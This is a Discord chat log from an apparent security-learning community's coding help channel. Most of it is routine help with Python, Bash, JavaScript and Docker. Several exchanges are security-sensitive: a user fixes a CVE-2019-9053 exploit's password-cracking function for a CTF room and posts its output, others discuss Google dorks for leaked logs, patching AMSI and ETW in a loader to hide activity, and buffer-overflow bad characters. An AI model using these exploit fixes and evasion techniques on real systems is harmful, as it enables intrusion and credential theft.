# clear lodge Uhuh

Its a Jekyll site I'm working on rn
If you want specifics then I'll have to DM you the details. It's a project dedicated to the cybersecurity community itself so until its working as expected, we gotta keep it private πŸ‘€

#

If you're up for looking at the source code I can DM you that

clear lodge
#

I have no experience with Jekyll but what is the exact question you have

coral lotus
#

Those buttons are not responding yet,

clear lodge
#

Haha ok

coral lotus
#

I don't know JS much:/

clear lodge
#

You can share your repo in a DM with me but I might not look at it until Monday ( bc christmas ). If you are willing to wait a bit, go ahead and send it to me

coral lotus
#

Yeah sure thing

clear lodge
#

Or if you havent figured it out by Monday, shoot me a dm πŸ™‚

#

πŸ’―

lilac holly
#

Would it be possible to make a GUI in Python for Google Dorks?

#

I'm slowly learning about PyQT atm and want to make a project where Dorking is a bit more streamlined

surreal bronze
#

For sure!

surreal bronze
#

Battery went out while writing explanation,

#

Start with a base

q = https://www.google.com/search?q=

Then just append things you want on, for example

q += "xyz"
q += " Intext:usernames"
q += " filetype:log"

You could even have a dictonary of values which would probably be better

params = {
  "filetype": "log",
  "intext": "username",
}
for k, v in params.items():
    q += f" {k}: v"
#

Then

import webbrowser
webbrowser.open(q)
lilac holly
#

Thank you so much @surreal bronze

wispy kestrelBOT
#

Gave +1 Rep to @surreal bronze

robust wagon
#

Hi guys
I'm probably drowning in a glass of water but it's not working.
bash:

# Check if tun0 exisist
check=$(ifconfig | grep tun | awk '{print $1}' | sed 's/:/ /')
#echo "$check"
#test="tun0"
#y or n 
if [["$check" == "tun0"]];
        then
        echo -e "${Green}Connected"
        else
        echo -e "${Red} Disconnected"
        exit 1 
fi

error: line 26 --> if [["$check
./THM_Connection.sh: line 26: [[tun0 : command not found

#

any tips

whole yacht
#

@robust wagon bash is pretty picky with if clauses. make sure you put a space before what you check and after the value you want to check.

if [[ "$check" == "tun0" ]];

#

though your way doesn't account for if there are multiple tunX found

robust wagon
#

tipsfedora was the space. thank you

whole yacht
#

you're welcome

thorny mist
#

what do the gcc flags -fPIC do? I can't find them in the manpage

whole yacht
thorny mist
wispy kestrelBOT
#

Gave +1 Rep to @whole yacht

whole yacht
#

you're welcome aniguns

thorny mist
#

hmm so it seems that -fPIC is used on the Linux PrivEsc room only due to the fact that the linux machine is super old, right?

#

or is to avoid possible memory conflicts with other shared objects/libraries?...

whole yacht
#

Not really sure about that. Binary Exploitation is still magical to me.

thorny mist
#

I hope someone wise about this topic stumblies upon this chat

thorny mist
#

it's used in multiple tasks, ones not containing LD_PRELOAD as well

hollow sorrel
#

which room are you talking about

thorny mist
hollow sorrel
#

in simple terms, it just ensures that its position independent

#

think in terms of relative path versus absolute path

thorny mist
#

in memory that is?

hollow sorrel
#

yes

robust wagon
#

Merry Christmas to all!!!!

Is there a way to close the terminal after it has executed the command?
Bash:

gnome-terminal -- bash -c "openvpn THMopenvpn.ovpn"

I tried different solutions but without success

whole yacht
#

you can kill the process which it created

robust wagon
#

I forgot, the command runs inside a script

so I should follow a logic like
"grep gnome-..."
extract processID from result and kill the process
or is there a faster way?

whole yacht
#

pidof give you the ProcessID of all processes which have that name
For example kill -9 $(pidof -s bash) would kill the first listed instance of bash

robust wagon
#

it's work πŸ˜‰

whole yacht
lilac holly
#

this is outputting

#

I have done research

#

and this attribute is supposed to be used to click links

whole yacht
#

sounds like you need to first assign browser.get(...) to a variable and then try to find the element.

surreal bronze
#

You sure you did some research?

lilac holly
lilac holly
surreal bronze
#

did you try it? what happened?

true pumice
steel knot
#

I have been programming a way to transfer my secondary YouTube account to my Primary YouTube account and I finally got the code working and transferring stuff over. Woohoo go programming skillz

#

Also go ChatGPT because I had it write half of the code that I was too tired to fully implement myself

proven talon
wispy kestrelBOT
#

Gave +1 Rep to @proven talon

dark zephyr
brazen eagle
lilac holly
wispy kestrelBOT
#

Gave +1 Rep to @proven talon

lilac holly
#

Now it’s browser.find_element(β€œlink text”, β€œclick me”)

#

Which is a good update

#

In my opinion

autumn zodiac
#

does anyone know what this symbol mean?

inland hazel
autumn zodiac
wispy kestrelBOT
#

Gave +1 Rep to @inland hazel

inland hazel
autumn zodiac
#

ah I see

inland hazel
#

try copying it and then placing it into https://unicode-table.com/en/ search page

autumn zodiac
#

gotcha, ty

inland hazel
#

it would then tell you what the char is supposed to be

autumn zodiac
#

ty, I did in fact found it

#

ty for this resource

inland hazel
#

no problem... and yeah it really is a great resource

lilac holly
#

yo who here wants to learn python3 together

lilac holly
#

hello i wanna learn computer science by myself what should i do there is no specefic answer

true pumice
magic falcon
#

@brazen eagle Do any of your groups use LotBC for java crypto?

brazen eagle
#

Used the standard libraries most of the time

magic falcon
#

Fair enough - I'm asking because I wonder if it's a deeper dive to look into other than acknowledging the FIPS piece of it

brazen eagle
clear lodge
#

What are your plans?

polar bane
modest basinBOT
#

:hammer: DevSploits#8128 has been banned.

worldly harness
#

Please I will be offering computer science next year, can i get any tips so that i could prepare ahead.

hoary plover
#

Hi everyone

#

Im a student and need help with learning Python

surreal bronze
#

Ask your question

surreal bronze
dapper radish
#

i just do no were to put this split in input

#
10 20 30 
#

for example input above

surreal bronze
#

I'm not sure what you mean to be honest

#

Could you try and elaborate more?

lyric mirage
#

Oops, forgot to ask it it was homework πŸ˜‚

dapper radish
#

not at all it was code i'm working in code chef

#

i'm new to this language

dapper radish
true pumice
# dapper radish how to get input as a array in same line in python
user_input = input('Enter input separate by a space: ').split()

But this will only take the user input as a string, you'll then have to do some casting with a for loop to convert the strings to integers if you're dealing with numbers

If you want strings then that's fine, nothing else is needed.

But this is heavily based on the user actually following the instructions, it's not very practical.

surreal bronze
#

ohh thats what they meant

lyric mirage
#

I wrote one out and deleted it as I wasn't sure if it was homework or not.

robust wagon
#

Happy New Year to all!!!

I can't fix the error.
I solved some problems on the print() function
I think I have identified the function that gives the error and also the line but I haven't quite figured out what to fix
I appreciate any advice
From:
Simple CTF Room

running CVE-2019-9053

Error

[+] Salt for password found: 1dac0d92e9fa6bb2
[+] Username found: mitch
[+] Email found: admin@admin.com
[+] Password found: 0c01f4468bd75d7a84c7eb73846e8d96
[*] Try: 000000
Traceback (most recent call last):
  File "/home/kali/THM/some.py", line 184, in <module>
    crack_password()
  File "/home/kali/THM/some.py", line 56, in crack_password
    if hashlib.md5(str(salt) + line).hexdigest() == password:
TypeError: Strings must be encoded before hashing


The function in script

def crack_password():
    global password
    global output
    global wordlist
    global salt
    dict = open(wordlist)
    for line in dict.readlines():
        line = line.replace("\n", "")
        beautify_print_try(line)
        if hashlib.md5(str(salt) + line).hexdigest() == password:
            output += "\n[+] Password cracked: " + line
            break
    dict.close()
whole yacht
#

the input to hashlib.md5 needs to be encoded before it can does it magic. python3 does a little bit of trolling.

robust wagon
#

thanks for the tip
I found this ->

import hashlib
print(hashlib.md5("whatever your string is".encode('utf-8')).hexdigest())

then (not correct)

 if ~~print(~~hashlib.md5(str(salt) + line).encode('utf-8').hexdigest()~~)~~ == password:

this one work on python3

 if hashlib.md5((str(salt) + line).encode("utf-8")).hexdigest() == password:

whole yacht
#

you're welcome

#

print in an if statement doesn't really work out that well. Hope that was just a typo in discord.

robust wagon
whole yacht
#

inline works too but might look messy

robust wagon
#

but vulnerability scripts in Exploit-DB are broken on purpose so that they can't be used on the fly or is there some other reason?

#

Thanks for your helpπŸ˜‰

whole yacht
#

It can have multiple reasons to be broken.

#

some were written in python2 which can still be used but need either some modifications or a full rewrite.

onyx merlin
robust wagon
#

i have to master skills a couple of programming languages ​​then. Thanks for the clarifications

wispy kestrelBOT
#

Gave +1 Rep to @true pumice

gray zenith
#

`` let arr = [1, 5, 34, 2, 7, 9, 0, 32, 2];
let len = arr.lenght;

for(let i = 0; i < len ; i++){
if(arr[i] < 7){
console.log(arr[i]);
}
} ``

#

why there is no output?

clear lodge
#

it should be:

#
const arr = [1, 5, 34, 2, 7, 9, 0, 32, 2];

for(let i = 0; i < arr.length ; i++){
  if(arr[i] < 7){
    console.log(arr[i]);
  }
} 
gray zenith
gray zenith
clear lodge
#

try my snippet? I didnt test it but should be good

gray zenith
#

ye that is working

clear lodge
#

[redacted for fake news]

#

hope that helps a bit!

gray zenith
#

that helps thank you! πŸ’Œ

clear lodge
#

Maybe your snippet should also work though on inspection πŸ€”

#

Lemme try in a bit

clear lodge
#
arr.lenght;

length

clear lodge
#

length is an annoying word to type, haha 8) I mess up all the time too

gray zenith
#

πŸ™‚

clear lodge
#

I would say to me its a bit unconventional to do it like this ( I always just use somearray.lenght in the for loop ) but its totally working πŸ’―

gray zenith
#

its time to give up on programming 😭

clear lodge
#

nooo you did great. What would help is to get an IDE that will notify you when making typos

#

for instance, my IDE will make red underlines under a typo like lenght so I can catch it right away

#

that way you dont have to be considered with that kind of thing as much πŸ™‚

gray zenith
#

actually I was working on replit I guess they dont tell us the errors

clear lodge
#

I guess so, I'm not familiar with that one specifically

#

are you doing JS specifically or do you also code in different langs?

solid ingot
#

I was working on a program for a friend and it involved making requests to a wordpress site which he was managing, I noticed when I sent a request using node-fetch it would work but on his end, when he checked the view count from the admin panel, the view count would not update, but when I used a headless browser it worked. So I thought maybe it was because of the user-agent, so using node-fetch I sent the request again but with my own browser's user-agent and again the view count didn't update.
Does anyone know what the reason for that could be?

Sorry, don't have any code to show, this was a while ago and I'm just asking out of curiosity

onyx merlin
brazen eagle
#

Try with a browser with the devtools open and look at the network requests

#

Probably a call to increment the counter

solid ingot
#

Oh I see

#

I'll check that out later then

#

ajax brings back a bad memory

#

i once made a "real time" chat site which used ajax in the background to refresh every 5 seconds to get new messages πŸ’€

#

this was like maybe 2014

brazen eagle
#

Would be using websockets these days πŸ™‚

solid ingot
#

Yep, didn't know about them back then
Then maybe a year or two after that I did make one using websockets but it was vulnerable to XSS πŸ˜‚ albeit only if you had admin permissions

brazen flax
#

Hey guys, I'm creating a Loader in Rust/C which loads an executable in memory. I'm trying to implement some ways to hide sus stuff by patching things like ASMI. My question here is, since the loader is written in C/Rust but might be used to run .NET executables, does it make sense to patch ETW as well?

brazen flax
#

Lemme post it there

brazen eagle
#

If I'm reading it right

mystic trellis
#

someone with python and SQL knowledge here??

vestal carbon
mystic trellis
#

i am working on a chat room project and i have created a database in order to save some information but i have a problem to connect python and sql in my code

#

Can u help>

#

?

solid ingot
#

What's the problem? Any specific errors?

quick void
#

Hello, I've been trying to learn java, the thing is most of the stuff is not free and even when I would be ok with paying they have outrageous prices for monthly subscription. I have tried edabit, codewars and leetcode, but I always seem to either find courses where you count integers with step by step instructions, or you use advanced functions with next to no instructions. Right now, I'm going to try w3schools, but does anyone have any good java course where I can learn meaningful stuff and not just counting to 10?

whole yacht
#

there are a ton of youtube videos about it.

quick void
#

I know, I just feel like hands on is a lot better. I have tried multiple video courses and I just could not watch 2 hours of videos, it had 0 value for me.

whole yacht
#

sadly hands on requires moneys because humans...

quick void
#

I would have no problem with that if they at least asked for normal amount of money.

#

Not 10$ if i take yearly and 39$ for monthly.

#

And I don't know if it's a me problem but leet codes easy problems are barely understandable for me.

whole yacht
#

java do be weird sometimes. Maybe you need some more practice or they just explain it badly.

quick void
#

Well I need java to graduate. I already did all the excercises that I need to graduate but since I have to learn it might as well learn it properly.

#

Also the second I am asked to do anything involving something.somethingelse I am lost since I am trying to bridge from scan, while, for, if to something more advanced.

#

Does this problem with learning exist elsewhere like python, or is this java exclusive?

magic falcon
quick void
#

Yes, I've heard that one, I'm just having a hard time bridging between basic functions and a fully working project.

magic falcon
#

Pick a project and start dividing it into pieces.

#

When you get stuck, that's pretty normal. Part of the benefit of learning to program in a classroom setting is the pressure of getting assignments done

quick void
magic falcon
quick void
#

Ye well I still think I'm not even on the level to start thinking about a project. I can do loops and conditions. That's basically all.

magic falcon
#

that's enough to start with. You can do a lot with just iteration and branching.

quick void
#

ngl but I don't even know what iteration is, that's why I want to learn it somewhere.

proven talon
magic falcon
proven talon
#

@quick void try CodeWars, they have simple small projects with tests. Basic functionality is free, like THM.

proven talon
quick void
gray zenith
#

can someone help me in this?

true pumice
gray zenith
true pumice
proven talon
true pumice
gray zenith
true pumice
#

If someone is learning, it's best not to throw complicated or potentially confusion concepts at them that would contradict their learning. @proven talon

gray zenith
#

I tried this but no output

proven talon
proven talon
true pumice
#

You need to get the length of the array and incorporate that in the for loop

gray zenith
true pumice
gray zenith
true pumice
gray zenith
#

its giving out an error

true pumice
#

For loops in JavaScript are a little tricky, it is important to look at the syntax.

for (condition) {

The condition is the length of time that the loop is going to run for.

So, in your case, you're creating a variable called i, and adding 1 to it every time until it is greater than 7.

let i = 3 // assign the variable
i < 7 // check whether the variable we assigned is less then 7
i++ // increment the variable by one

It's a shorter way of saying

let i = 3

if (i < 7) {
  i = i + 1
} else {
  stop execution
}
proven talon
# gray zenith its giving out an error

Step 1 you did correctly. Step 2 - you need to loop through an array. To do it, first you need to understand what is an array. Array is basically a set of objects (numbers, string etc.). Each object have an index. Indexation starts from 0. So to loop through an array, you need to check every element, starting from 0 to the end of the array (tip: you can check array size with "length" property, e.g. array name is "arr" (here and later without quotes in code), array size would be in "arr.length" variable). You can access array properties using index with this syntax: array[index], e.g. to access element with index 1 of array "arr", you can use "arr[1]", to access index n of the same array, you can use "arr[n]".

Now try to apply knowledge of loop from @true pumice 's message with knowledge of arrays and iterate (loop through) an array. To make it more exciting, output all the values that you iterated with console.log.

lilac holly
#

i like this place a lot. They don't hold your hand, but kind of point you in the right direction. They also offer free mentoring slots, so you can have your code reviewed by a real person

quick void
proven talon
#

@gray zenith how is it going?

gray zenith
#

i think so its right

proven talon
gray zenith
#

@proven talon

proven talon
#

or change the condition

#

This is condition

if(arr[i]>=3 && arr[i]<=7){
...
}
proven talon
#

It's not a solution, it's a "condition" πŸ™‚ Condition checks if code inside should be included or not. You can remove this part from your code and it will execute loop directly, unconditionally

#

Example:

arr = [1,2,3,4,5,33,55]
for(let i = 0; i < arr.length; i++){
  if(arr[i] > 4){ // if it's more than 4
    console.log(arr[i]);
  }
}```
#

it's not a part of a loop statement

#

you can just remove it (condition part) @gray zenith

#

Another example, I want to print "hello" 10 times:

for(let i = 0; i < 10; i++){
  console.log("hello");
}```
#

Or I want to print numbers from 0 to 9:

for(let i = 0; i < 10; i++){
  console.log(i);
}
#

Any progress?

proven talon
lilac holly
#

if that works

#

for you

true pumice
brazen eagle
proven talon
magic falcon
brazen eagle
#

Totally agree

#

Was saying that if I saw a big ugly loop doing the same thing as a filter in review I'd write it up though

magic falcon
#

ah, fair

vagrant void
#

Has anyone made a logic bomb?

magic falcon
#

We dont' share or discuss malware outside of a few advanced channels.

harsh island
#

Hello πŸ™‚

I am having some issues with a little Python3 program i am working on.
it is mainly for fun but to solve the Tasks on OSCP buffer overflow Pratice room.

The issue i have is getting output from a function that has the a for loop.

#

for x in range(1, 256):
print("\x" + "{:02x}".format(x), end='')
print():

Instead of it printing i want it sent to a variable. And it to be in its raw form. Because i tried copy paste and then it turns to ASCII and the exploit dosent work.
Any help will be much appreciated πŸ™‚

surreal bronze
#

Try use something like

var = ""
var += "xyz" # equivalent to var = var + "xyz"
harsh island
#

@surreal bronze can i DM you.?

surreal bronze
#

Why?

#

Your much better of getting help from here

harsh island
#

I just didnt understand how to implement you solution πŸ™‚

surreal bronze
#
for x in range(1, 256):
  print("\x" + "{:02x}".format(x), end='')
print():

Instead of using the print(), add it to the variable with var += "contents"

#

I think you'll also need it in byte form with .encode()

knotty fog
#

Guys what you think learn Golang or Rust ?

brazen eagle
#

Python3 is a bit wierd to print to console as well

brazen eagle
knotty fog
brazen eagle
#

Again it depends what for

knotty fog
brazen eagle
#

For IO-bound tasks python is as fast as anything else

surreal bronze
#

python2 is also better for networking i think

magic falcon
surreal bronze
magic falcon
#

If you have to loop and can't using the f"" formatted string, the .join() method is likely going to be the next fastest/efficient method

surreal bronze
#

You'd have to loop because the value of X increments each time, which is why I went for the concatenation method

magic falcon
#

using + and += is very inefficient, because it creates additional temporary, immutable objects of larger and larger sizes. .join() does not, it does something more like the Java StringBuilder class that only builds the final string at the end of the set of operations.

surreal bronze
#

Huh, never knew that - ty

magic falcon
#

and if you are doing operations to build a list-based result, always consider using a list comprehension instead of a for loop

#

comprehensions are optimized under the hood for dealing with iterations and for loops are always going to be slower, assuming an equivalent comprehension can be done

vagrant void
magic falcon
vapid cloak
wispy kestrelBOT
#

Gave +1 Rep to @magic falcon

vagrant void
#

@vapid cloak where do you link your thm to discord?

narrow terraceBOT
vagrant void
#

Thank you!

#

I am verified blobfingerguns

#

One more question @magic falcon that level you referred to is that within scope of discord or thm

#

Where do I see my level and how far I am from 0xd

#

And to stay on topic of the channel: I recently had success with ChatGPT as a coding assistant, what other AI's are people finding useful? Explaincode.com I found to be better than replit, but worse than ChatGPT.

#

Replit I thought was really bad.

inland hazel
vagrant void
#

Thanks

vagrant void
inland hazel
sick scarab
#

does anyone know of any good references or documentation if i wanted to start writing tools for active directory attacks in c#?

brazen eagle
#

Have you looked at the msdn docs?

sick scarab
#

I have a little but I didnt go through everything

brazen eagle
#

I mean if you cheat, sure

old lodge
lilac holly
old lodge
#

oh ok

junior sapphire
#

Hey guys, can somebody please help me by reviewing my code and let me know about the key points that can guide me towards the better and optimized solutions ?
Here's the repo: https://github.com/Himan10/SecurityPracticeTasks

GitHub

This repository contains scripts to encode/decode several ciphers, just a beginner approach towards crypto and cyber - GitHub - Himan10/SecurityPracticeTasks: This repository contains scripts to en...

brazen eagle
#

Let's not define a function inside a function for starters

#

Should define a proper entry point

#

Especially if you want to use your class as a library

#

Needs more unit tests

vapid cloak
brazen eagle
#

Yeah that site isn't bad

vapid cloak
brazen eagle
#

Haha that's fair

vapid cloak
#

I still have 9 minutes until lunch break is over. What sort of dev do you do hydragyrum?

brazen eagle
#

Mostly backend on the JVM

#

Bit of front when I have to

#

Mostly debugging logs these days

vapid cloak
#

That’s cool. Ughh, front end lol I feel your pain jk. I do PHP mostly and am full stack for my current company, so I’m all too familiar with that. Definitely prefer back end.

pine cypress
#

What is this for?

pine cypress
#

-undelete -a

brazen eagle
#

-undelete -a

#

yag, I hate you

true pumice
brazen eagle
#

yes

#

oh I owed you a screenshot didn't I

tough copper
junior sapphire
#

so I was practicing some stuff, thought why not reviewed it by people

#

in that way, I can get some suggestions about optimization or let's say more better approach towards solving

tough copper
wispy kestrelBOT
#

Gave +1 Rep to @brazen eagle

coarse yew
#

Hey y’all!!

#

How’s things here

lilac holly
#

Is there an important difference between:
This:

printf ("%s\n", m>=n && k>=n ? "Yes" : "No");

and this:

m>=n && k>=n ? printf ("Yes\n") : printf ("No\n");

(Language in question is C)
And is there a known preferable way in sense that one is commonly used over the other for some reason?

#

The first one is using ternary operator inside the printf call and the second one outside of the printf call, which is determining which call to make. Doesn't really matter; it's all personal convention.

#

In a nutshell, you're doing the cpu calculation inside or outside the printf call

#

That's about it

hollow sorrel
#

no big difference

lilac holly
#

the first call is formatting the string according to the calculation, the second one has hardcoded string which gets called conditionally

lilac holly
#

I believe both statements gets compiled to the same binary code, or just a slight difference

hollow sorrel
#

yeah, that's what i meant

#

readability matters also

lilac holly
#

Yep, that's about it

stoic nymph
#

hello I recently joined

lilac holly
#

welcome

onyx merlin
stone kayak
#

I have this file structure:

monitoring/
  output.py
  service_data_retriver.py
tests/
  test_output.py

output calls service_data_retriver with import:

import service_data_retriver

When calling pytest in the root I get:

ModuleNotFoundError: No module named 'service_data_retriver'

When I change it to:

from monitoring import service_data_retriver

Tests work but I can no longer call the program with python3 monitoring as it errors with:

ModuleNotFoundError: No module named 'monitoring'

What's the solution to this again? πŸ€”

true pumice
#

Oh God, if Bee is asking for help we're all in trouble

wraith latch
#
Function IsTryHackMeRad {

  $RAD = Invoke-Webrequest -Uri "https://tryhackme.com" -Method "GET"

  If ($RAD) {

    Write-Host "That's correct!" -Foregroundcolor Green

  }

  Else {

    Return $False

  }

}

Function Main {

  [string]$UserInput = Read-Host "Is TryHackMe RAD?"
  switch($UserInput) {
    Yes {

      IsTryHackMeRad

    }

    No {

      Write-Host "You're wrong... Try again"
      Main

    }

  }

}

Main
true pumice
# stone kayak I have this file structure: ``` monitoring/ output.py service_data_retriver....

I presume you've tried pip install monitoring, make sure you have also used pip3 install monitoring or python3 -m pip install monitoring

Refresh your terminal environment source ~/.[env]rc or close and reopen your terminal. Make sure you didn't install it with sudo or else you have only installed the package as a super user (which usually isn't accessible by all users, depending on how you setup Python)

magic falcon
stone kayak
true pumice
#

I am incredibly stupid, right as you sent that message I realised

stone kayak
magic falcon
#

importing local packages is always a pain, especially when dealing with modules that you are using as a lib from within the local python project

true pumice
#

Bee if you zip and send me your files I'll test it on here, to see if it's an env issue

stone kayak
#

i've solved this before it's very very annoying i hate this part of python

magic falcon
true pumice
stone kayak
magic falcon
true pumice
#

Are you referencing the folder when importing module?

stone kayak
magic falcon
#

it could also be a unit test config problem as well

true pumice
#

In the actual program

stone kayak
#

so if i do from monitor import service_data_retriver (the folder is called Monitor which contains an init and a main) the tests work

However I can no longer python3 run the code:

$ python3 monitor/__main__.py
ModuleNotFoundError: No module named 'monitor'

$ python3 monitor
ModuleNotFoundError: No module named 'monitor'

I think this is because python3 goes "into" the folder so it can't actually view the monitor folder 😦

magic falcon
#

that sounds right. If CLI execution is correct, but it's not working in your tests, it's more than likely a pytest cfg problem instead

#

try feeding the absolutely path to pytest for the module location

stone kayak
#

aha!

python3 -m monitor

You need to tell python to run it as a module kekw

#

such a silly little bug, i always run into it 😦

#

thank you for helping me debug! πŸ˜„

true pumice
#

Python is a mess

stone kayak
#

Ok a quick docker question since my head is spinning (I have been on this take home task for 11 hours 🀒 )

CMD [ "poetry", "run", "python", "-m", "monitor" ]

would docker run temp/monitor:latest --average-cpu-and-memory pass that argument into the command to run?

#

i think it should do but also its failing:

docker: Error response from daemon: failed to create shim task: OCI runtime create failed: runc create failed: unable to start container process: exec: "--average-cpu-and-memory": executable file not found in $PATH: unknown.
magic falcon
#

reread the docs on what docker run takes as the executable and flag argument arguments - my interpretation of what you're doing is attempting to run --average-cpu-and-memory as an executable instead of passing to the python script

brazen eagle
#

You need entrypoint then

#

Otherwise it overrides cmd

#

Or the flag should be before the run if it's a docker argument

#

Or between the run and the image name

brazen eagle
hollow sorrel
#

Hello, I'm trying to design a vulnerable API for rate limiting and want to understand how one can implement rate limiting without being subject to race conditions

for e.g., it takes a coupon value and gives back some X amount of money. How do I implement rate limiting without someone abusing race conditions for it

stone kayak
#

TIL

#

ah

#

i think because i am using Poetry it's all a bit awkward

#

i shoulda used golang for this haha

wanton cliff
#

someone here who could help me with a powershell-problem? Something like select-string to variable

true pumice
wanton cliff
#

I want select a part of a filename xyz_relevant-changing-part_zxy. I got the right regex and could select it out with select-string but i wont get $var = relevant-changing-part. I guess select-string isn't the right cmdlet i need

#

my $var will be the full path

onyx merlin
elder ridge
wanton cliff
wispy kestrelBOT
#

Gave +1 Rep to @elder ridge

green stump
#

Python is only for beginners

#

So when advanced people look at it they say wtf is this

onyx merlin
true pumice
rich verge
#

Ok why do I have an urge to develop an all in one web server application for:

  • John the ripper
  • NetCat (Or an alternative I’m building)
  • FTP/SMB Navigation
  • Directory/Sub domain busting
  • File Uploading/Downloading
  • Nessus Scans (Or alternative)
  • Active Directory Enumeration
  • Shodan API
  • Potentially BurpSuite tools

And anything else I can think of. WHY? I’m horrific at coding web let along integrations to run on a server… 😭

whole yacht
#

you might learn a lot during your struggle through implementing it all.

true pumice
green stump
#

Look at what the person said XD

true pumice
#

James?

green stump
#

Ye

true pumice
#

What about him..?

green stump
#

Bruh

true pumice
#

He's not exactly wrong

green stump
#

Ye whatever

true pumice
#

Maybe advance past 0x1 before being rude? πŸ™‚

green stump
#

Rude?

#

Well whatever gtg

true pumice
#

Python is a beginner friendly language, does not mean it's only for beginners. It is actually used widely by many big organisations. If you fail to see it's potential, I would presume it's due to inexperience.

magic falcon
#

There are a number of very successful projects and products written in python. It's ubiquitous for a reason, and it's not because it's only useful for beginner level programmers.

brazen eagle
#

It's also popular in data science circles for reasons that escape me

#

Useful for scripting though

magic falcon
brazen eagle
#

I knew that much

#

But I suppose data scientists aren't programmers

magic falcon
#

every time i hear "we are deploying jupyter to the public cloud for ML reasons...." i shudder and have to remind myself that isn't my product

brazen eagle
#

Some day

#

First I need to get Packer set up to create a base VM for me

magic falcon
brazen eagle
#

Yeah I know

#

It's on the to-do list

#

First I need to get my VM done, then finish certain doom, then finish supply and demand

finite drum
#

I chucked this in general and realised probably more likely to be answered here:
I am running through some Python script building just to learn to build my own tools rather than the pre-mades. Course I was running through is Python2 but my kali is python3 and obviously can't read each other is it a waste of time to go through a Python2 coures and focus more on Python3 or are both valid?

whole yacht
#

focus on Python3. Python2 is no longer supported.

lyric mirage
whole yacht
#

not sure.

magic falcon
#

"Not very many" is the answer

lyric mirage
#

My point.

Learning 2 should be useful and encouraged.

brazen eagle
#

Learn the syntax and it's idioms, but don't use it in a new project

finite drum
#

so run through the course doing the py2 way given in examples and then learn py3 thanks for your answers

surreal bronze
#

Debating about using .format() or fstrings, normally I always use fstrings but in this case I think going for .format() makes it much more readable, are there any strong arguments against why I should use fstrings instead? For context,

params = {
            "installsource": "scheduler",
            "requestid": str(uuid.uuid4()),
            "sessionid": str(uuid.uuid4()),
            "machineid": '00'.zfill(32),
            "oem": 'RM100-753-12345',
            "appid": "98DA7DF2-4E3E-4744-9DE6-EC931886ABAB",
            "bootid": str(uuid.uuid4()),
            "current": version,
            "group": "Prod",
            "platform": "reMarkable2"
        }

    return """<?xml version="1.0" encoding="UTF-8"?>
<request protocol="3.0" version="{current}" requestid="{{{requestid}}}" sessionid="{{{sessionid}}}" updaterversion="0.4.2" installsource="{installsource}" ismachine="1">
    <os version="zg" platform="{platform}" sp="{current}_armv7l" arch="armv7l"></os>
    <app appid="{{{appid}}}" version="{current}" track="{group}" ap="{group}" bootid="{{{bootid}}}" oem="{oem}" oemversion="2.5.2" alephversion="{current}" machineid="{machineid}" lang="en-US" board="" hardware_class="" delta_okay="false" nextversion="" brand="" client="" >
        <ping active="1"></ping>
        <updatecheck></updatecheck>
        <event eventtype="3" eventresult="2" previousversion=""></event>
    </app>
</request>""".format(**params)
magic falcon
#

arguably fstrings is easier to more intuitively read as a human and it's supposed to be faster according to the benchmarks i've seen. If this is a once-every-so-often call, it's not a huge deal. if it gets called often enough to be a contributor to overall runtime, it may require another look

#

IIRC fstrings is also the most pythonic way of formatting strings

#

that said, if you are just replacing text, look into using a jinja2 file template as well

magic falcon
#

So I've been playing around with rust, and I've run into similar types of scope issues with Rust as I have with other GC languages. Anyone have a reasonable solution to temp storing user input passwords in memory? For a "secure memory" language, it doesn't have any std:: crates to handle secure data

surreal bronze
remote echo
#

Btw, rust doens't have a GC